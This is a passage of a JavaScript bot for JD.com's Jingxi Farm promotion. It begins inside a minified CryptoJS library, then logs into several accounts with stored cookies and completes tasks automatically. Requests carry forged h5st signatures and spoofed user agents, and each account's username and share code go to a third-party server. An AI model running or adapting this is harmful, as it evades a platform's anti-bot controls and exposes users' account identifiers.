f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +$.maxHelpNum = $.isNode() ? 8 : 4; // 随机助力最大执行次数 +$.helpNum = 0; // 当前账号 随机助力次数 +let assistUserShareCode = 0; // 随机助力用户 share code + +!(async () => { + await requireConfig(); + if (!cookieArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + for (let i = 0; i < cookieArr.length; i++) { + if (cookieArr[i]) { + currentCookie = cookieArr[i]; + $.UserName = decodeURIComponent(currentCookie.match(/pt_pin=([^; ]+)(?=;?)/) && currentCookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + $.log(`\n************* 检查【京东账号${$.index}】${$.UserName} cookie 是否有效 *************`); + $.log(`开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (currentCookie.includes("pt_pin")) await getJxToken() + subTitle = ''; + message = ''; + option = {}; + $.answer = 3; + $.helpNum = 0; + notifyBool = notifyLevel > 0; // 初始化是否推送 + // await tokenFormat(); // 处理当前账号 token + await shareCodesFormat(); // 处理当前账号 助力码 + await jdJXNC(); // 执行当前账号 主代码流程 + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + console.log(e); + }) + .finally(() => { + $.done(); + }) + +// 检查互助码格式是否为 json +// 成功返回 json 对象,失败返回 '' +function changeShareCodeJson(code) { + try { + let json = code && JSON.parse(code); + return json['smp'] && json['active'] && json['joinnum'] ? json : ''; + } catch (e) { + return ''; + } +} + +// 加载配置 cookie token shareCode +function requireConfig() { + return new Promise(async resolve => { + $.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + // const jdTokenNode = $.isNode() ? require('./jdJxncTokens.js') : ''; + const jdJxncShareCodeNode = $.isNode() ? require('./jdJxncShareCodes.js') : {}; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookieArr.push(jdCookieNode[item]); + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookieArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + + $.log(`共${cookieArr.length}个京东账号\n`); + + // if ($.isNode()) { + // Object.keys(jdTokenNode).forEach((item) => { + // tokenArr.push(jdTokenNode[item] ? JSON.parse(jdTokenNode[item]) : tokenNull) + // }) + // } else { + // let tmpTokens = JSON.parse($.getdata('jx_tokens') || '[]'); + // tokenArr.push(...tmpTokens) + // } + + if ($.isNode()) { + Object.keys(jdJxncShareCodeNode).forEach((item) => { + if (jdJxncShareCodeNode[item]) { + jxncShareCodeArr.push(jdJxncShareCodeNode[item]) + } else { + jxncShareCodeArr.push(''); + } + }) + } + + // 检查互助码是否为 json [smp,active,joinnum] 格式,否则进行通知 + for (let i = 0; i < jxncShareCodeArr.length; i++) { + if (jxncShareCodeArr[i]) { + let tmpJxncShareStr = jxncShareCodeArr[i]; + let tmpjsonShareCodeArr = tmpJxncShareStr.split('@'); + if (!changeShareCodeJson(tmpjsonShareCodeArr[0])) { + $.log('互助码格式已变更,请重新填写互助码'); + $.msg($.name, '互助码格式变更通知', '互助码格式变更,请重新填写 ‼️‼️', option); + if ($.isNode()) { + await notify.sendNotify(`${$.name}`, `互助码格式变更,请重新填写 ‼️‼️`); + } + } + break; + } + } + + // console.log(`jdFruitShareArr::${JSON.stringify(jxncShareCodeArr)}`) + // console.log(`jdFruitShareArr账号长度::${jxncShareCodeArr.length}`) + $.log(`您提供了${jxncShareCodeArr.length}个账号的京喜农场助力码`); + + try { + let options = { + "url": ``, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" + }, + "timeout": 10000, + } + $.get(options, (err, resp, data) => { // 初始化内置变量 + if (!err) { + shareCode = data; + } + }); + } catch (e) { + // 获取内置助力码失败 + } + resolve() + }) +} + +// 处理当前账号token +function tokenFormat() { + return new Promise(async resolve => { + if (tokenArr[$.index - 1] && tokenArr[$.index - 1].farm_jstoken) { + currentToken = tokenArr[$.index - 1]; + } else { + currentToken = tokenNull; + } + resolve(); + }) +} + +// 处理当前账号助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${jdFruitShareArr[$.index - 1]}`) + if (jxncShareCodeArr[$.index - 1]) { + currentShareCode = jxncShareCodeArr[$.index - 1].split('@'); + currentShareCode.push(...(shareCode.split('@'))); + } else { + $.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码`) + currentShareCode = shareCode.split('@'); + } + $.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(currentShareCode)}`) + resolve(); + }) +} + +async function jdJXNC() { + subTitle = `【京东账号${$.index}】${$.nickName}`; + $.log(`获取用户信息 & 任务列表`); + const startInfo = await getTaskList(); + if (startInfo) { + message += `【水果名称】${startInfo.prizename}\n`; + if (startInfo.target <= startInfo.score) { // 水滴已满 + if (startInfo.activestatus === 2) { // 成熟未收取 + notifyBool = true; + $.log(`【成熟】水果已成熟请及时收取,activestatus:${startInfo.activestatus}\n`); + message += `【成熟】水果已成熟请及时收取,activestatus:${startInfo.activestatus}\n`; + } else if (startInfo.activestatus === 0) { // 未种植(成熟已收取) + $.log('账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。'); + message += '账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。\n'; + notifyBool = notifyBool && notifyLevel >= 3; + } + } else { + let shareCodeJson = { + "smp": $.info.smp, + "active": $.info.active, + "joinnum": $.info.joinnum, + }; + $.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】` + JSON.stringify(shareCodeJson)); + await $.wait(500); + const isOk = await browserTask(); + if (isOk) { + await $.wait(500); + await answerTask(); + await $.wait(500); + const endInfo = await getTaskList(); + getMessage(endInfo, startInfo); + await submitInviteId($.UserName); + await $.wait(500); + let next = await helpFriends(); + if (next) { + while ($.helpNum < $.maxHelpNum) { + $.helpNum++; + assistUserShareCodeJson = await getAssistUser(); + if (assistUserShareCodeJson) { + await $.wait(500); + next = await helpShareCode(assistUserShareCodeJson['smp'], assistUserShareCodeJson['active'], assistUserShareCodeJson['joinnum']); + if (next) { + await $.wait(1000); + continue; + } + } + break; + } + } + } + } + } + await showMsg() +} + +// 获取任务列表与用户信息 +function getTaskList() { + return new Promise(async resolve => { + $.get(taskUrl('query', `type=1`), async (err, resp, data) => { + try { + let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); + if (res) { + res = res[1]; + const {detail, msg, task = [], retmsg, ...other} = JSON.parse(res); + $.detail = detail; + $.helpTask = task.filter(x => x.tasktype === 2)[0] || {eachtimeget: 0, limit: 0}; + $.allTask = task.filter(x => x.tasktype !== 3 && x.tasktype !== 2 && parseInt(x.left) > 0); + $.info = other; + $.log(`获取任务列表 ${retmsg} 总共${$.allTask.length}个任务!`); + if (!$.info.active) { + $.log('账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。'); + message += '账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。\n'; + notifyBool = notifyBool && notifyLevel >= 3; + resolve(false); + } + resolve(other); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(true); + } + }); + }); +} + +function browserTask() { + return new Promise(async resolve => { + const tasks = $.allTask.filter(x => x.tasklevel !== 6); + const times = Math.max(...[...tasks].map(x => x.limit)); + for (let i = 0; i < tasks.length; i++) { + const task = tasks[i]; + $.log(`开始第${i + 1}个任务:${task.taskname}`); + const status = [0]; + for (let i = 0; i < times; i++) { + const random = Math.random() * 3; + await $.wait(random * 1000); + if (status[0] === 0) { + status[0] = await doTask(task); + } + if (status[0] !== 0) { + break; + } + } + if (status[0] === 1017) { // ret:1017 retmsg:"score full" 水滴已满,果实成熟,跳过所有任务 + $.log('水滴已满,果实成熟,跳过所有任务'); + resolve(true); + break; + } + if (status[0] === 1032) { + $.log('任务执行失败,种植的 APP 专属种子,请提供 token 或种植非 APP 种子'); + message += '任务执行失败,种植的 APP 专属种子,请提供 token 或种植非 APP 种子\n'; + notifyBool = notifyBool && notifyLevel >= 2; + resolve(false); + return; + } + + $.log(`结束第${i + 1}个任务:${task.taskname}`); + } + resolve(true); + }); +} + +function answerTask() { + const _answerTask = $.allTask.filter(x => x.tasklevel === 6); + if (!_answerTask || !_answerTask[0]) return; + const {tasklevel, left, taskname, eachtimeget} = _answerTask[0]; + $.log(`准备做答题任务:${taskname}`); + return new Promise(async resolve => { + if (parseInt(left) <= 0) { + resolve(false); + $.log(`${taskname}[做任务]: 任务已完成,跳过`); + return; + } + $.get( + taskUrl( + 'dotask', + `active=${$.info.active}&answer=${$.info.indexday}:${['A', 'B', 'C', 'D'][$.answer]}:0&joinnum=${ + $.info.joinnum + }&tasklevel=${tasklevel}&_stk=${encodeURIComponent("active,answer,ch,farm_jstoken,joinnum,phoneid,tasklevel,timestamp")}`, + ), + async (err, resp, data) => { + try { + let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); + if (res) { + res = res[1] + let {ret, retmsg, right} = JSON.parse(res); + retmsg = retmsg !== '' ? retmsg : '成功'; + $.log(`${taskname}[做任务]:ret:${ret} retmsg:"${retmsg.indexOf('活动太火爆了') !== -1 ? '任务进行中或者未到任务时间' : retmsg}"`); + if (ret === 0 && right === 1) { + $.drip += eachtimeget; + } + // ret:1017 retmsg:"score full" 水滴已满,果实成熟,跳过答题 + // ret:1012 retmsg:"has complte" 已完成,跳过答题 + if (ret === 1017 || ret === 1012) { + resolve(); + return; + } + if (((ret !== 0 && ret !== 1029) || retmsg === 'ans err') && $.answer > 0) { + $.answer--; + await $.wait(1000); + await answerTask(); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }, + ); + }); +} + +function getMessage(endInfo, startInfo) { + const need = endInfo.target - endInfo.score; + const get = endInfo.modifyscore; // 本次变更获得水滴 + const leaveGet = startInfo.modifyscore; // 离开时获得水滴 + let dayGet = 0; // 今日共获取水滴数 + if ($.detail) { + let dayTime = new Date(new Date().toLocaleDateString()).getTime() / 1000; // 今日 0 点时间戳(10位数) + $.detail.forEach(function (item, index) { + if (item.time >= dayTime && item.score) { + dayGet += item.score; + } + }); + } + message += `【水滴】本次获得${get} 离线获得${leaveGet} 今日获得${dayGet} 还需水滴${need}\n`; + if (need <= 0) { + notifyBool = true; + message += `【成熟】水果已成熟请及时收取,deliverState:${endInfo.deliverState}\n`; + return; + } + if (get > 0 || leaveGet > 0 || dayGet > 0) { + const day = Math.ceil(need / (dayGet > 0 ? dayGet : (get + leaveGet))); + message += `【预测】还需 ${day} 天\n`; + } + if (get > 0 || leaveGet > 0) { // 本次 或 离线 有水滴 + notifyBool = notifyBool && notifyLevel >= 1; + } else { + notifyBool = notifyBool && notifyLevel >= 2; + } +} + +// 提交助力码 +function submitInviteId(userName) { + return new Promise(resolve => { + if (!$.info || !$.info.smp) { + resolve(); + return; + } + try { + $.post( + { + url: `https://api.ninesix.cc/api/jx-nc/${$.info.smp}/${encodeURIComponent(userName)}?active=${$.info.active}&joinnum=${$.info.joinnum}`, + timeout: 10000 + }, + (err, resp, _data) => { + try { + const {code, data = {}} = JSON.parse(_data); + $.log(`邀请码提交:${code}`); + if (data.value) { + message += '【邀请码】提交成功!\n'; + } + } catch (e) { + // $.logErr(e, resp); + $.log('邀请码提交失败 API 返回异常'); + } finally { + resolve(); + } + }, + ); + } catch (e) { + // $.logErr(e, resp); + resolve(); + } + }); +} + +function getAssistUser() { + return new Promise(resolve => { + try { + $.get({ + url: `https://api.ninesix.cc/api/jx-nc?active=${$.info.active}`, + timeout: 10000 + }, async (err, resp, _data) => { + try { + const {code, data: {value, extra = {}} = {}} = JSON.parse(_data); + if (value && extra.active) { // && extra.joinnum 截止 2021-01-22 16:39:09 API 线上还未部署新的 joinnum 参数代码,暂时默认 1 兼容 + let shareCodeJson = { + 'smp': value, + 'active': extra.active, + 'joinnum': extra.joinnum || 1 + }; + $.log(`获取随机助力码成功 ` + JSON.stringify(shareCodeJson)); + resolve(shareCodeJson); + return; + } else { + $.log(`获取随机助力码失败 ${code}`); + } + } catch (e) { + // $.logErr(e, resp); + $.log('获取随机助力码失败 API 返回异常'); + } finally { + resolve(false); + } + }); + } catch (e) { + // $.logErr(e, resp); + resolve(false); + } + }); +} + +// 为好友助力 return true 继续助力 false 助力结束 +async function helpFriends() { + let tmpShareCodeJson = {}; + for (let code of currentShareCode) { + if (!code) { + continue + } + tmpShareCodeJson = changeShareCodeJson(code); + if (!tmpShareCodeJson) { //非 json 格式跳过 + console.log('助力码非 json 格式,跳过') + continue; + } + const next = await helpShareCode(tmpShareCodeJson['smp'], tmpShareCodeJson['active'], tmpShareCodeJson['joinnum']); + if (!next) { + return false; + } + await $.wait(1000); + } + return true; +} + +// 执行助力 return true 继续助力 false 助力结束 +function helpShareCode(smp, active, joinnum) { + return new Promise(async resolve => { + if (smp === $.info.smp) { // 自己的助力码,跳过,继续执行 + $.log('助力码与当前账号相同,跳过助力。准备进行下一个助力'); + resolve(true); + } + $.log(`即将助力 share {"smp":"${smp}","active":"${active}","joinnum":"${joinnum}"}`); + $.get( + taskUrl('help', `active=${active}&joinnum=${joinnum}&smp=${smp}`), + async (err, resp, data) => { + try { + let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); + if (res) { + res = res[1]; + const {ret, retmsg = ''} = JSON.parse(res); + $.log(`助力结果:ret=${ret} retmsg="${retmsg ? retmsg : 'OK'}"`); + // ret=0 助力成功 + // ret=1011 active 不同 + // ret=1012 has complete 已完成 + // ret=1013 retmsg="has expired" 已过期 + // ret=1009 retmsg="today has help p2p" 今天已助力过 + // ret=1021 cannot help self 不能助力自己 + // ret=1032 retmsg="err operate env" 被助力者为 APP 专属种子,当前助力账号未配置 TOKEN + // if (ret === 0 || ret === 1009 || ret === 1011 || ret === 1012 || ret === 1021 || ret === 1032) { + // resolve(true); + // return; + // } + // ret 1016 当前账号达到助力上限 + // ret 147 filter 当前账号黑号了 + if (ret === 147 || ret === 1016) { + if (ret === 147) { + $.log(`\n\n !!!!!!!! 当前账号黑号了 !!!!!!!! \n\n`); + } + resolve(false); + return; + } + resolve(true); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(false); + } + }, + ); + }); +} + + +function doTask({tasklevel, left, taskname, eachtimeget}) { + return new Promise(async resolve => { + if (parseInt(left) <= 0) { + $.log(`${taskname}[做任务]: 任务已完成,跳过`); + resolve(false); + } + $.get( + taskUrl( + 'dotask', + `active=${$.info.active}&answer=${$.info.indexday}:D:0&joinnum=${$.info.joinnum}&tasklevel=${tasklevel}&_stk=${encodeURIComponent("active,answer,ch,farm_jstoken,joinnum,phoneid,tasklevel,timestamp")}`, + ), + (err, resp, data) => { + try { + let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); + if (res) { + res = res[1]; + let {ret, retmsg} = JSON.parse(res); + retmsg = retmsg !== '' ? retmsg : '成功'; + $.log(`${taskname}[做任务]:ret:${ret} retmsg:"${retmsg.indexOf('活动太火爆了') !== -1 ? '任务进行中或者未到任务时间' : retmsg}"`); + if (ret === 0) { + $.drip += eachtimeget; + } + resolve(ret); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }, + ); + }); +} + + +function taskUrl(function_path, body, stk) { + let url = `${JXNC_API_HOST}cubeactive/farm/${function_path}?${body}&farm_jstoken=${currentToken['farm_jstoken']}&phoneid=${currentToken['phoneid']}×tamp=${currentToken['timestamp']}&sceneval=2&g_login_type=1&callback=whyour&_=${Date.now()}&g_ty=ls`; + url += `&h5st=${decrypt(Date.now(), stk || '', '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + Cookie: currentCookie, + Accept: `*/*`, + Connection: `keep-alive`, + Referer: `https://st.jingxi.com/pingou/dream_factory/index.html`, + 'Accept-Encoding': `gzip, deflate, br`, + Host: `wq.jd.com`, + 'Accept-Language': `zh-cn`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + timeout: 10000, + }; +} + +async function showMsg() { + if (notifyBool) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); + allMessage += `${subTitle}\n${message}${$.index !== cookieArr.length ? '\n\n' : ''}` + } + } else { + $.log(`${$.name} - notify 通知已关闭\n账号${$.index} - ${$.nickName}\n${subTitle}\n${message}`); + } +} + +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new 